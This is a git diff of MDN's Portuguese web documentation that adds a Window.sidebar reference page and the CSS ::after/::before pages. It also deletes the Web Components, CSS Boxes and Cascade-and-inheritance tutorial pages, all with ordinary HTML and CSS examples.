diff --git a/files/pt-pt/web/api/window/sidebar/index.html b/files/pt-pt/web/api/window/sidebar/index.html new file mode 100644 index 0000000000..d35750364d --- /dev/null +++ b/files/pt-pt/web/api/window/sidebar/index.html @@ -0,0 +1,60 @@ +--- +title: Window.sidebar +slug: Web/API/Window/barra_lateral +tags: + - DOM + - Janela + - Não Padrão + - Propriedade + - Referencia +translation_of: Web/API/Window/sidebar +--- +
{{APIRef}} {{Non-standard_header}}
+ +

Devolve um objeto da barra lateral, que contém vários métodos para registar extras com o navegador.

+ +

Notas

+ +

O objeto da barra lateral devolvido tem os seguintes métodos:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MétodoDescrição (SeaMonkey)Descrição (Firefox)
addPanel(title, contentURL, "")Adiciona um painel de barra lateral.Obsoleto desde o Firefox 23 (apresentado apenas no SeaMonkey).
+ Em vez disso, os utilizadores finais podem utilizar a opção "carregar este marcador na barra lateral". Consulte também Criação de uma barra lateral do Firefox.
addPersistentPanel(title, contentURL, "")Adiciona um painel de barra lateral, que consegue funcionar em segundo plano.
AddSearchProvider(descriptionURL)Installs a search provider (OpenSearch). Adding OpenSearch search engines contains more details. Added in Firefox 2.
addSearchEngine(engineURL, iconURL, suggestedTitle, suggestedCategory) {{Obsolete_inline(44)}} +

Installs a search engine (Sherlock). Adding Sherlock search engines contains more details.

+ +
+

Note: This was made obsolete in Firefox 44, and has been removed completely in Firefox 59. You should use AddSearchProvider instead.

+
+
IsSearchProviderInstalled(descriptionURL)Indicates if a specific search provider (OpenSearch) is installed.
+ +

Especificação

+ +

Específico da Mozilla. Não faz parte de qualquer padrão.

diff --git a/files/pt-pt/web/componentes_web/index.html b/files/pt-pt/web/componentes_web/index.html deleted file mode 100644 index 3a0dd68ffd..0000000000 --- a/files/pt-pt/web/componentes_web/index.html +++ /dev/null @@ -1,226 +0,0 @@ ---- -title: Componentes da Web -slug: Web/Componentes_Web -tags: - - Artigo da Web - - Componentes - - Componentes da Web - - Desenvolvimento da Web - - Importações HTML - - JavaScript - - Landing - - Modelo - - Resumo - - Sinopse - - elementos personalizados - - shadow dom - - slot -translation_of: Web/Web_Components ---- -
{{DefaultAPISidebar("Componentes Web")}}
- -
- -
-

Componentes Web é uma suite de diferentes tecnologias que permite a criação de elementos reutilizáveis — com a sua funcionalidade encapsulada longe do restante código — E utilizá-las nas suas aplicações web.

-
- -

Conceitos e utilização

- -

Como programadores, todos sabemos que é boa ideia reutilizar código tanto como possível. Tradicionalmente, esta ideia não tem sido tão fácil para estruturas de marcação — pense no complexo HTML (e seus estilos e scripts associados) em que por vezes é necessário escrever controlos personalizados de UI e usá-los múltiplas vezes pode tornar a página numa desordem se não tiver cuidado

- -

Componentes Web visa resolver tais problemas — consiste em três grandes tecnologias, que usadas em conjunto, permitem criar elementos versáteis com funcionalidade encapsulada e que podem ser reutilizados onde se queira sem medo de colisões de código.

- - - -

The basic approach for implementing a web component generally looks something like this:

- -
    -
  1. Create a class or a function in which you specify your web component functionality. If using a class, use the ECMAScript 2015 class syntax (see Classes for more information). 
  2. -
  3. Register your new custom element using the {{domxref("CustomElementRegistry.define()")}} method, passing it the element name to be defined, the class or function in which its functionality is specified, and optionally, what element it inherits from.
  4. -
  5. If required, attach a shadow DOM to the custom element using {{domxref("Element.attachShadow()")}} method. Add child elements, event listeners, etc., to the shadow DOM using regular DOM methods.
  6. -
  7. If required, define an HTML template using {{htmlelement("template")}} and {{htmlelement("slot")}}. Again use regular DOM methods to clone the template and attach it to your shadow DOM.
  8. -
  9. Use your custom element wherever you like on your page, just like you would any regular HTML element.
  10. -
- -

Tutoriais

- -
-
Using custom elements
-
A guide showing how to use the features of custom elements to create simple web components, as well as looking into lifecycle callbacks and some other more advanced features.
-
Using shadow DOM
-
A guide that looks at shadow DOM fundamentals, showing how to attach a shadow DOM to an element, add to the shadow DOM tree, style it, and more.
-
Using templates and slots
-
A guide showing how to define a reusable HTML structure using {{htmlelement("template")}} and {{htmlelement("slot")}} elements, and then use that structure inside your web components.
-
- -

Referência

- -

Elementos de Custom

- -
-
{{domxref("CustomElementRegistry")}}
-
Contains functionality related to custom elements, most notably the {{domxref("CustomElementRegistry.define()")}} method used to register new custom elements so they can then be used in your document.
-
{{domxref("Window.customElements")}}
-
Returns a reference to the CustomElementRegistry object.
-
Life cycle callbacks
-
Special callback functions defined inside the custom element's class definition, which affect its behavior: -
    -
  • connectedCallback: Invoked when the custom element is first connected to the document's DOM.
  • -
  • disconnectedCallback: Invoked when the custom element is disconnected from the document's DOM.
  • -
  • adoptedCallback: Invoked when the custom element is moved to a new document.
  • -
  • attributeChangedCallback: Invoked when one of the custom element's attributes is added, removed, or changed.
  • -
-
-
-
    -
-
-
- -
-
Extensions for creating custom built-in elements
-
-
    -
  • The {{htmlattrxref("is")}} global HTML attribute: Allows you to specify that a standard HTML element should behave like a registered custom built-in element.
  • -
  • The "is" option of the {{domxref("Document.createElement()")}} method: Allows you to create an instance of a standard HTML element that behaves like a given registered custom built-in element.
  • -
-
-
CSS pseudo-classes
-
Pseudo-classes relating specifically to custom elements: -
    -
  • {{cssxref(":defined")}}: Matches any element that is defined, including built in elements and custom elements defined with CustomElementRegistry.define()).
  • -
  • {{cssxref(":host")}}: Selects the shadow host of the shadow DOM containing the CSS it is used inside.
  • -
  • {{cssxref(":host()")}}: Selects the shadow host of the shadow DOM containing the CSS it is used inside (so you can select a custom element from inside its shadow DOM) — but only if the selector given as the function's parameter matches the shadow host.
  • -
  • {{cssxref(":host-context()")}}: Selects the shadow host of the shadow DOM containing the CSS it is used inside (so you can select a custom element from inside its shadow DOM) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the DOM hierarchy.
  • -
-
-
- -

Shadow DOM

- -
-
{{domxref("ShadowRoot")}}
-
Represents the root node of a shadow DOM subtree.
-
{{domxref("DocumentOrShadowRoot")}}
-
A mixin defining features that are available across document and shadow roots.
-
{{domxref("Element")}} extensions
-
Extensions to the Element interface related to shadow DOM: -
    -
  • The {{domxref("Element.attachShadow()")}} method attaches a shadow DOM tree to the specified element.
  • -
  • The {{domxref("Element.shadowRoot")}} property returns the shadow root attached to the specified element, or null if there is no shadow root attached.
  • -
-
-
Relevant {{domxref("Node")}} additions
-
Additions to the Node interface relevant to shadow DOM: -
    -
  • The {{domxref("Node.getRootNode()")}} method returns the context object's root, which optionally includes the shadow root if it is available.
  • -
  • The {{domxref("Node.isConnected")}} property returns a boolean indicating whether or not the Node is connected (directly or indirectly) to the context object, e.g. the {{domxref("Document")}} object in the case of the normal DOM, or the {{domxref("ShadowRoot")}} in the case of a shadow DOM.
  • -
-
-
{{domxref("Event")}} extensions
-
Extensions to the Event interface related to shadow DOM: -
    -
  • {{domxref("Event.composed")}}: Returns a {{jsxref("Boolean")}} which indicates whether the event will propagate across the shadow DOM boundary into the standard DOM (true), or not  (false).
  • -
  • {{domxref("Event.composedPath")}}: Returns the event’s path (objects on which listeners will be invoked). This does not include nodes in shadow trees if the shadow root was created with {{domxref("ShadowRoot.mode")}} closed.
  • -
-
-
- -

Modelos de HTML

- -
-
{{htmlelement("template")}}
-
Contains an HTML fragment that is not rendered when a containing document is initially loaded, but can be displayed at runtime using JavaScript, mainly used as the basis of custom element structures. The associated DOM interface is {{domxref("HTMLTemplateElement")}}.
-
{{htmlelement("slot")}}
-
A placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together. The associated DOM interface is {{domxref("HTMLSlotElement")}}.
-
The slot global HTML attribute
-
Assigns a slot in a shadow DOM shadow tree to an element.
-
{{domxref("Slotable")}}
-
A mixin implemented by both {{domxref("Element")}} and {{domxref("Text")}} nodes, defining features that allow them to become the contents of an {{htmlelement("slot")}} element. The mixin defines one attribute, {{domxref("Slotable.assignedSlot")}}, which returns a reference to the slot the node is inserted in.
-
- -
-
{{domxref("Element")}} extensions
-
Extensions to the Element interface related to slots: -
    -
  • {{domxref("Element.slot")}}: Returns the name of the shadow DOM slot attached to the element.
  • -
-
-
CSS pseudo-elements
-
Pseudo-elements relating specifically to slots: -
    -
  • {{cssxref("::slotted")}}: Matches any content that is inserted into a slot.
  • -
-
-
The {{event("slotchange")}} event
-
Fired on an {{domxref("HTMLSlotElement")}} instance ({{htmlelement("slot")}} element) when the node(s) contained in that slot change.
-
- -

Exemplos

- -

We are building up a number of examples in our web-components-examples GitHub repo. More will be added as time goes on.

- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("HTML WHATWG","scripting.html#the-template-element","<template> element")}}{{Spec2("HTML WHATWG")}}The definition of {{HTMLElement("template")}}.
{{SpecName("HTML WHATWG","custom-elements.html#custom-elements","custom elements")}}{{Spec2("HTML WHATWG")}}The definition of HTML Custom Elements.
{{SpecName("DOM WHATWG","#shadow-trees","shadow trees")}}{{Spec2("DOM WHATWG")}}The definition of Shadow DOM.
{{SpecName("HTML Imports", "", "")}}{{Spec2("HTML Imports")}}Initial HTML Imports definition.
{{SpecName("Shadow DOM", "", "")}}{{Spec2("Shadow DOM")}}Initial Shadow DOM definition.
- -

Compatibilidade de navegador

- -

In general:

- - - -

For detailed browser support of specific features, you'll have to consult the reference pages listed above.

- -

Consulte também

- - diff --git a/files/pt-pt/web/css/_colon_after/index.html b/files/pt-pt/web/css/_colon_after/index.html deleted file mode 100644 index f59fbcd5dd..0000000000 --- a/files/pt-pt/web/css/_colon_after/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: ':after | ::after' -slug: 'Web/CSS/:after' -tags: - - Referencia_CSS -translation_of: 'Web/CSS/::after' ---- -

{{ CSSRef() }}

-

Resumo

-

:after cria um pseudo-elemento que é a última criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento, pelo uso da propriedade CSS {{ cssxref("content") }}. Este elemento é inline por padrão.

-

{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade :after do CSS 2.0. Não foram permitidas position, float, list-style-* e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}

-

Sintaxe

-
element:after  { propriedades do estilo }  /* sintaxe CSS2 */
-
-element::after { propriedades do estilo }  /* sintaxe CSS3, não suportada pelo IE8 */
-

A notação ::after foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação :after introduzida no CSS 2.

-
Nota:  O Microsoft Internet Explorer 8 suporta somente a notação :after.
-

Exemplos

-
.boringtext:after {
-   content:    " Obrigado por ler tudo isto!";
-   font-size:  small;
-   color:      red;
-   background: gray;
-}
-
-

Especificações

- -

Compatibilidade com navegadores

- -
Navegador Versão mais antiga Suporte a
Internet Explorer 8.0 :after
Firefox (Gecko) 1.0 (1.0) :after
1.0 (1.5) :after | ::after
Opera 4.0 :after
7.0 :after | ::after
Safari (WebKit) 1.0 (85) :after | ::after
-

Veja também

-

{{ Cssxref(":before") }}, {{ cssxref("content") }}

-

{{ languages( { "fr": "fr/CSS/:after", "pl": "pl/CSS/:after", "es": "es/CSS/after", "pt": "pt/CSS/:after" } ) }}

diff --git a/files/pt-pt/web/css/_colon_before/index.html b/files/pt-pt/web/css/_colon_before/index.html deleted file mode 100644 index 5572a818ef..0000000000 --- a/files/pt-pt/web/css/_colon_before/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: ':before | ::before' -slug: 'Web/CSS/:before' -tags: - - Referencia_CSS -translation_of: 'Web/CSS/::before' ---- -

{{ CSSRef() }}

-

Resumo

-

:before cria um pseudo-elemento que é a primeira criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento. Este elemento é inline por padrão.

-

{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade :before do CSS 2.0. Não foram permitidas position, float, list-style-* e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}

-

Sintaxe

-
element:before  { propriedades do estilo }  /* sintaxe CSS2 */
-
-element::before { propriedades do estilo }  /* sintaxe CSS3, não suportada pelo IE8 */
-

A notação ::before foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação :before introduzida no CSS 2.

-
Nota:  O Microsoft Internet Explorer 8 suporta somente a notação :before.
-

Exemplos

-
q:before { content: "»" }
-q:after { content: '«' }
-
-<q>Algumas citações</q>, ele disse, <q>são melhores que nenhuma</q>.
-

Resultado:    »Algumas citações«, ele disse, »são melhores que nenhuma«.

-

Notas

-

Apesar das correções de posicionamento, o Firefox 3.5 não permite que o conteúdo seja gerado como um irmão anteriormente separado (como a declaração das CSS spec(EN) "Os pseudo-elementos <code>:before</code> e <code>:after</code> interagem com outras caixas...como se fossem elementos reais inseridos dentro de seu elemento associado."), eles podem ser usados para proporcionar uma ligeira melhora nos arranjos sem tabelas (isto é, para alcançar o centro), tão longo como o conteúdo a ser centralizado é envolto em outro elemento criança, uma coluna antes e depois do conteúdo pode ser introduzida sem a adição de um irmão anterior ou posterior (por exemplo, talvez seja mais semanticamente correto adicionar um span a mais como anteriormente, que seria para adicionar um <code><div/></code> vazio antes e depois). (E sempre lembrar de adicionar uma largura para um flututante, uma vez que de outra forma ele não flutuará!)

-
<style type="text/css">
-
-#floatme {float:left; width:50%;}
-
-.example:before {
-  content: "Floated Before"; /* To get an empty column, just indicate a hex code for a non-breaking space: \a0 as the content (use \0000a0 when following such a space with other characters) */
-  float: left;
-  width:25%
-}
-.example:after {
-  content: "Floated After";
-  float: right;
-  width:25%
-}
-
-/* For styling */
-.example:before, .example:after, .first {
-  background: yellow;
-  color: red;
-}
-
-
-</style>
-<div class="example">
-<span id="floatme">"Floated Before" should be generated on the left of the
-viewport and not allow overflow in this line to flow under it. Likewise
-should "Floated After" appear on the right of the viewport and not allow this
-line to flow under it.</span>
-</div>
-

Especificações

- -

Compatibilidade com navegadores

- -
Navegador Versão mais antiga Suporte a
Internet Explorer 8.0
:before
Firefox (Gecko) 1.0 (1.0) :before
1.0 (1.5) :before | ::before
Safari (WebKit) 1.0 (85) :before | ::before
Opera 4.0 :before
7.0 :before | ::before
-

Veja também

-

{{ Cssxref(":after") }}

-

{{ languages( { "en": "en/CSS/:before", "fr": "fr/CSS/:before", "pl": "pl/CSS/:before", "es": "es/CSS/before" } ) }}

diff --git a/files/pt-pt/web/css/_doublecolon_after/index.html b/files/pt-pt/web/css/_doublecolon_after/index.html new file mode 100644 index 0000000000..f59fbcd5dd --- /dev/null +++ b/files/pt-pt/web/css/_doublecolon_after/index.html @@ -0,0 +1,34 @@ +--- +title: ':after | ::after' +slug: 'Web/CSS/:after' +tags: + - Referencia_CSS +translation_of: 'Web/CSS/::after' +--- +

{{ CSSRef() }}

+

Resumo

+

:after cria um pseudo-elemento que é a última criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento, pelo uso da propriedade CSS {{ cssxref("content") }}. Este elemento é inline por padrão.

+

{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade :after do CSS 2.0. Não foram permitidas position, float, list-style-* e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}

+

Sintaxe

+
element:after  { propriedades do estilo }  /* sintaxe CSS2 */
+
+element::after { propriedades do estilo }  /* sintaxe CSS3, não suportada pelo IE8 */
+

A notação ::after foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação :after introduzida no CSS 2.

+
Nota:  O Microsoft Internet Explorer 8 suporta somente a notação :after.
+

Exemplos

+
.boringtext:after {
+   content:    " Obrigado por ler tudo isto!";
+   font-size:  small;
+   color:      red;
+   background: gray;
+}
+
+

Especificações

+ +

Compatibilidade com navegadores

+ +
Navegador Versão mais antiga Suporte a
Internet Explorer 8.0 :after
Firefox (Gecko) 1.0 (1.0) :after
1.0 (1.5) :after | ::after
Opera 4.0 :after
7.0 :after | ::after
Safari (WebKit) 1.0 (85) :after | ::after
+

Veja também

+

{{ Cssxref(":before") }}, {{ cssxref("content") }}

+

{{ languages( { "fr": "fr/CSS/:after", "pl": "pl/CSS/:after", "es": "es/CSS/after", "pt": "pt/CSS/:after" } ) }}

diff --git a/files/pt-pt/web/css/_doublecolon_before/index.html b/files/pt-pt/web/css/_doublecolon_before/index.html new file mode 100644 index 0000000000..5572a818ef --- /dev/null +++ b/files/pt-pt/web/css/_doublecolon_before/index.html @@ -0,0 +1,63 @@ +--- +title: ':before | ::before' +slug: 'Web/CSS/:before' +tags: + - Referencia_CSS +translation_of: 'Web/CSS/::before' +--- +

{{ CSSRef() }}

+

Resumo

+

:before cria um pseudo-elemento que é a primeira criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento. Este elemento é inline por padrão.

+

{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade :before do CSS 2.0. Não foram permitidas position, float, list-style-* e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}

+

Sintaxe

+
element:before  { propriedades do estilo }  /* sintaxe CSS2 */
+
+element::before { propriedades do estilo }  /* sintaxe CSS3, não suportada pelo IE8 */
+

A notação ::before foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação :before introduzida no CSS 2.

+
Nota:  O Microsoft Internet Explorer 8 suporta somente a notação :before.
+

Exemplos

+
q:before { content: "»" }
+q:after { content: '«' }
+
+<q>Algumas citações</q>, ele disse, <q>são melhores que nenhuma</q>.
+

Resultado:    »Algumas citações«, ele disse, »são melhores que nenhuma«.

+

Notas

+

Apesar das correções de posicionamento, o Firefox 3.5 não permite que o conteúdo seja gerado como um irmão anteriormente separado (como a declaração das CSS spec(EN) "Os pseudo-elementos <code>:before</code> e <code>:after</code> interagem com outras caixas...como se fossem elementos reais inseridos dentro de seu elemento associado."), eles podem ser usados para proporcionar uma ligeira melhora nos arranjos sem tabelas (isto é, para alcançar o centro), tão longo como o conteúdo a ser centralizado é envolto em outro elemento criança, uma coluna antes e depois do conteúdo pode ser introduzida sem a adição de um irmão anterior ou posterior (por exemplo, talvez seja mais semanticamente correto adicionar um span a mais como anteriormente, que seria para adicionar um <code><div/></code> vazio antes e depois). (E sempre lembrar de adicionar uma largura para um flututante, uma vez que de outra forma ele não flutuará!)

+
<style type="text/css">
+
+#floatme {float:left; width:50%;}
+
+.example:before {
+  content: "Floated Before"; /* To get an empty column, just indicate a hex code for a non-breaking space: \a0 as the content (use \0000a0 when following such a space with other characters) */
+  float: left;
+  width:25%
+}
+.example:after {
+  content: "Floated After";
+  float: right;
+  width:25%
+}
+
+/* For styling */
+.example:before, .example:after, .first {
+  background: yellow;
+  color: red;
+}
+
+
+</style>
+<div class="example">
+<span id="floatme">"Floated Before" should be generated on the left of the
+viewport and not allow overflow in this line to flow under it. Likewise
+should "Floated After" appear on the right of the viewport and not allow this
+line to flow under it.</span>
+</div>
+

Especificações

+ +

Compatibilidade com navegadores

+ +
Navegador Versão mais antiga Suporte a
Internet Explorer 8.0
:before
Firefox (Gecko) 1.0 (1.0) :before
1.0 (1.5) :before | ::before
Safari (WebKit) 1.0 (85) :before | ::before
Opera 4.0 :before
7.0 :before | ::before
+

Veja também

+

{{ Cssxref(":after") }}

+

{{ languages( { "en": "en/CSS/:before", "fr": "fr/CSS/:before", "pl": "pl/CSS/:before", "es": "es/CSS/before" } ) }}

diff --git a/files/pt-pt/web/css/alternative_style_sheets/index.html b/files/pt-pt/web/css/alternative_style_sheets/index.html new file mode 100644 index 0000000000..250bb3eef9 --- /dev/null +++ b/files/pt-pt/web/css/alternative_style_sheets/index.html @@ -0,0 +1,23 @@ +--- +title: Folhas de estilo alternativas +slug: Web/CSS/Folhas_de_estilo_alternativas +translation_of: Web/CSS/Alternative_style_sheets +--- +

O Firefox oferece suporte a folhas de estilo alternativa. AS páginas que disponibilizam folhas de estilo alternativas permitem que o usuário selecione o estilo que a página será mostrada usando o submenu Exibir>Estilos da página. Fornecendo uma maneira de visualizar várias versões de uma mesma página, com base em suas necessidades e preferências.

+

Um site pode usar a tag link para adicionar as folhas de estilo alternativa.

+

Por exemplo:

+
<link href="padrao.css" rel="stylesheet" type="text/css" title="Estilo padrao">
+<link href="estilo1.css" rel="alternate stylesheet" type="text/css" title="Estilo 1">
+<link href="estilo2.css" rel="alternate stylesheet" type="text/css" title="Estilo 2">
+
+

Oferecendo essas três folhas de estilo, disponibilizaremos ao usuário as opções "Estilo Padrão", "Estilo 1" e "Estilo 2" no submenu. Quando o usuário selecionar um dos estilos, a página imediatamente será recarregada usando o estilo selecionado.

+

O valor do atributo title na tag link nomeia cada opção de estilo. Quando o valor deste atributo é repetido, entende-se como parte da mesma opção. Caso a tag link não possua o atributo title, a folha correspondente será sempre aplicada.

+

Use rel="stylesheet" para aplicar as folhas correspondente ao estilo padrão, e rel="alternate stylesheet" para aplicar as folhas correspondente aos estilos alternativos. Isso permite que o Firefox diferencie as folhas de estilo padrão das alternativas e permite que os navegadores que não suportam folhas de estilo alternativa apliquem somente as folhas do estilo padrão.

+

 

+

Exemplo

+

Clique aqui para ver um exemplo.

+

 

+

Especificação

+ diff --git "a/files/pt-pt/web/css/como_come\303\247ar/caixas/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/caixas/index.html" deleted file mode 100644 index dff3dfb0ac..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/caixas/index.html" +++ /dev/null @@ -1,359 +0,0 @@ ---- -title: Caixas -slug: Web/CSS/Como_começar/Caixas -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Building_blocks -translation_of_original: Web/Guide/CSS/Getting_started/Boxes ---- -

{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}

- -

Esta página descreve como você pode usar as CSS para controlar o espaço que um elemento ocupa quando é exibido.

- -

Em seu documento de amostra, você muda o espaçamento e adiciona regras decorativas.

- -

Informação: Caixas

- -

Quando seu navegador exibe um elemento, o elemento ocupa um espaço. Existem quatro partes do espaço que ele ocupa.

- -

No meio, está o espaço que o elemento precisa para exibir seu conteúdo. Em torno disso, está o enchimento. Em torno disso, está a borda. Em torno disso, está a margem.

- - - - - - - - -
-
-

margin

- -

border

- -
-

padding

- -
-

element

-
-
-
- -

A paleta cinza mostra partes da disposição.

-
-
-

 

- -

 

- -
-

 

- -
-

element

-
-
-
- -

Isto é o que você vê em seu navegador.

-
- -

O enchimento, a borda e a margem podem ter diferentes tamanhos no topo, na direita, em baixo e na esquerda do elemento. Qualquer ou todos estes tamanhos podem ser zero.

- -

O enchimento é sempre da mesma cor do fundo do elemento. Então quando você configura a cor de fundo, você vê a cor aplicada ao próprio elemento e ao seu enchimento. A margem é sempre transparente.

- - - - - - - - -
-
-

margin

- -

border

- -
-

padding

- -
-

element

-
-
-
- -

O elemento tem um fundo verde.

-
-
-

 

- -

 

- -
-

 

- -
-

element

-
-
-
- -

É isto que você vê no seu navegador.

-
- -

Bordas

- -

Você pode usar bordas para decorar elementos com linhas ou caixas.

- -

Para especificar a mesma borda em torno de todo o elemento, use a propriedade border. Especifique a largura (usualmente em pixels para exibir na tela), o estilo, e a cor.

- -

Os estilos são:

- - - - - - - - - - - - - - - - -
-
solid
-
-
dotted
-
-
dashed
-
-
double
-
-
inset
-
-
outset
-
-
ridge
-
-
groove
-
- -

Você pode também configurar o estilo para none ou hidden para remover a borda explicitamente, ou configurar a cor para transparent para fazer a borda invisível sem mudar a disposição.

- -

Para especificar bordas em um lado de cada vez, use as propriedades: border-top, border-right, border-bottom, border-left. Você pode usar isto para especificar uma borda em somente um lado, ou diferentes bordas em diferentes lados.

- - - - - - - - -
Exemplos
Esta regra configura a cor de fundo e a borda do topo dos elementos do cabeçalho: -
-
-h3 {
-  border-top: 4px solid #7c7; /* mid green */
-  background-color: #efe;     /* pale green */
-  color: #050;                /* dark green */
-  }
-
-
- -

O resultado deve ser como este:

- - - - - - - -
-

Cabeçalho elegante

-
- -


- Esta regra faz as imagens fáceis de ver dando-as uma borda com um cinza-médio em toda a volta:

- -
-
-img {border: 2px solid #ccc;}
-
-
- -

O resultado deve ser como este:

- - - - - - - - -
Imagem:Image:Blue-rule.png
-
- -

Margens e enchimento

- -

Use margens e enchimento para ajustar a posição dos elementos e para criar espaços ao redor deles.

- -

Use a propriedade margin ou a propriedade padding para configurar a largura da margem ou do enchimento respectivamente.

- -

Se você especificar uma largura, isto se aplicará em torno de todo o elemento (topo, direita, baixo e esquerda).

- -

Se você especificar duas larguras, a primeira se aplicará ao topo e à baixo, e a segunda à direita e à esquerda.

- -

Você pode especificar todas as quatro larguras na ordem: topo, direita, baixo, esquerda.

- - - - - - - - -
Exemplo
Esta regra diferencia parágrafos com a classe remark dando-os uma borda vermelha em toda a sua volta. -

O Enchimento em toda a volta separa um pouco a borda do texto.

- -

Uma margem esquerda identifica o parágrafo relativo ao resto do texto:

- -
-
-p.remark {
-  border: 2px solid red;
-  padding: 4px;
-  margin-left: 24px;
-  }
-
-
- -

O resultado deve ser como este:

- - - - - - - -
-

Aqui está um parágrafo normal.

- -

Aqui está um com observação.

-
-
- - - - - - - - -
Mais detalhes
Quando você usa margens e enchimento para ajustar o modo como os elementos são exibidos, suas regras de estilo interagem com o padrão dos navegadores de maneiras que podem ser complexas. -

Navegadores diferentes exibem os elementos diferentemente. Os resultados podem ser similares antes de sua folha de estilo mudar coisas. Algumas vezes isto pode fazer sua folha de estilo dar resultados surpreendedores.

- -

Para ter o resultado que você precisa, você pode ter que mudar a marcação do seu documento. A próxima página deste tutorial tem mais informações sobre isto.

- -

Para informações detalhas sobre enchimento, margens e bordas, veja Box model em CSS Specification.

-
- -

Ação: Adicionando bordas

- -

Edite seu arquivo CSS. Adicione esta regra para desenhar uma linha até o fim da página sobre cada cabeçalho:

- -
-
h3 {border-top: 1px solid gray;}
-
-
- -

Se você pegou o desafio na página anterior, modifique a regra que você criou, se não, adicione esta nova regra para adicionar um espaço em baixo de cada item da lista:

- -
-
li {
-  list-style: lower-roman;
-  margin-bottom: 8px;
-  }
-
-
- -

Atualize seu navegador para ver o resultado:

- - - - - - - -
-

(A) Os oceanos

- -
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
- -

(B) Parágrafos numerados

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- - - - - - - - -
Desafio
Adicione uma regra à sua folha de estilo, fazendo um borda larga em toda a volta dos oceanos em uma cor que te lembre o mar — algo como isto: - - - - - - -
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -

. . .

-
- -

(Não é necessário fazer exatamente com a largura e a cor que usadas aqui.)

-
- -

O que vem depois

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Especificando margens e enchimento, você modificou a disposição do seu documento. Na próxima página você poderá mudar a disposição do seu documento de outras maneiras: Disposição

- -

{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/cascata_e_heran\303\247a/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/cascata_e_heran\303\247a/index.html" deleted file mode 100644 index b73abb297f..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/cascata_e_heran\303\247a/index.html" +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Cascata e herança -slug: Web/CSS/Como_começar/Cascata_e_herança -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---- -

{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}

- -

Esta página esboça como folhas de estilo interagem numa cascata, e como os elementos subordinados herdam o estilo do elementos primários.

- -

Você alterará à sua folha de estilo de amostra, usando herança para mudar o estilo de muitas partes do seu documento em um passo.

- -

Informação: Cascata e herança

- -

O estilo final para um elemento pode ser especificado em muitos lugares diferentes, que pode interagir num meio complexo. Esta interação complexa faz CSS poderoso, mas às vezes isto pode deixar confuso e difícil de depurar.

- -

Três códigos principais de informação de estilo formam uma cascata. Eles são:

- - - -

O estilo do usuário modifica o estilo padrão do navegador. O estilo do autor do documento então modifica algum outro estilo. Neste tutorial, você é o autor do seu documeto de amostra, e você trabalha somente com folhas de estilo do autor.

- - - - - - - - -
Exemplo
Quando você lê este documento no seu navegador Mozilla, parte do estilo que você vê, vem do padrão do seu navegador para HTML. -

Parte do estilo deve vir das configurações do seu navegador em Opções, ou de um arquivo userConten.css no seu perfil no navegador.

- -

Parte do seu estilo vem de folhas de estilo ligadas ao documento pelo server do wiki.

-
- -


- Quando você abre seu documento de amostra no seu navegador, os elementos STRONG são mais fortes do que o resto do texto. Isto vem do estilo padrão do seu navegador para o HTML.

- -

Os elementos STRONG são vermelhos, Isto vem da sua folha de estilo de amostra.

- -

Os elementos STRONG as vezes também herdam muito do estilo de elemento P, pois eles são subordinados. No mesmo caminho, o elemento P herda muito do estilo do elemento BODY.

- -

Para estilos em cascata, o autor das folhas de estilo tem prioridade, depois o leitor das folhas de estilo, e por último o padrão do navegador.

- -

Para estilos em herança, um nó subordinado tem prioridade sobre o estilo que herdou do nó principal.
